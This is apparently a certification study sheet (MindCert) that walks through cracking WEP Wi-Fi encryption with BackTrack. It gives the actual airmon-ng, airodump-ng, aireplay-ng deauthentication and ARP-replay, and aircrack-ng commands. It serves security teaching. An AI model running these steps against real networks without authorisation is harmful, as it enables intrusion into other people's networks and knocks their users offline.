Cracking WEP With BackTrack - With Client

3 - Aircrack-ng

- Once the data column is at the required level
  - 100,000 data packets for 64bit WEP
  - 1,000,000 packets for 128bit WEP
- Uses the saved .ivs file to decrypt the WEP key
- Command
  - `# aircrack-ng -n 64 -b *AP MAC* *.ivs`
    - *AP MAC* is the MAC Address of the Access Point
    - Change -n 64 to -n 128 if 128bit WEP is used
- In a few moments, the WEP key will be presented

2 - Aireplay-ng

- Open in a New Window
- Leave airodump-ng running
- Both commands below need to be run at the same time
- Capture ARP Packets
  - Start to collect ARP packets when the client is forced to disconnect and then reconnect
  - `# aireplay-ng -3 -b *AP MAC* -h *CLIENT MAC* ath1`
    - *AP MAC* is the MAC Address of the Access Point
    - *CLIENT MAC* is the MAC Address of a connected client
      - Captured using airodump-ng
  - Waits till it finds an ARP Packet
    - Prompts the user if they want to use it
  - Then starts replaying the ARPs
    - Watch the airodump-ng output
    - Dat column will be rising very quickly
- Kick client off the network
  - This kicks a client off the network so that you can capture the ARP packets
  - `# aireplay-ng -0 10 -a *AP MAC* -c *CLIENT MAC* ath1`
    - This runs the death attack ten times (-0 10)
      - Kicks the client off the network
    - *AP MAC* is the MAC Address of the Access Point
    - *CLIENT MAC* is the MAC Address of a connected client
      - Captured using airodump-ng

1 - Airodump-ng

- Command
  - `# airodump-ng --ivs --write filename --channel 6 ath1`
- Starts airodump-ng
- Only writes weak IVs
- Writes to a file called filename in current folder
- Capture MAC Address of a connected client

Equipment

- Using a HP Laptop
- BackTrack 3
  - Real
  - Installed to HD
- WiFI Card
  - Proxim Orinoco Silver
  - Atheros Chipset

Reconnaissance/Prep

- Make a folder to save the data in
  - `# mkdir /root/save`
  - `# cd /root/save`
- Identify WEP network
  - Use Kismet
    - `# kismet`
    - May need to edit /usr/etc/kismet.conf
  - Record
    - MAC Address of AP
    - Channel Number of the Wireless Network
    - SSID

Monitor Mode

- Your card needs to be in monitor mode
- Commands
  - `# airmon-ng start wifi 0 6`
    - Starts wifi0 on Channel 6
  - `# wlanconfig ath0 destroy`
  - `# ifconfig ath1 up`
  - `# iwconfig ath1 mode monitor`
    - Card is now in monitor mode

MindCert.com
Utilize the power of your mind

Motivation and Study Techniques to help you learn, remember, and pass your technical exams!

- Cisco
- CISSP
- CEH
- More coming soon...

Visit us www.mindcert.com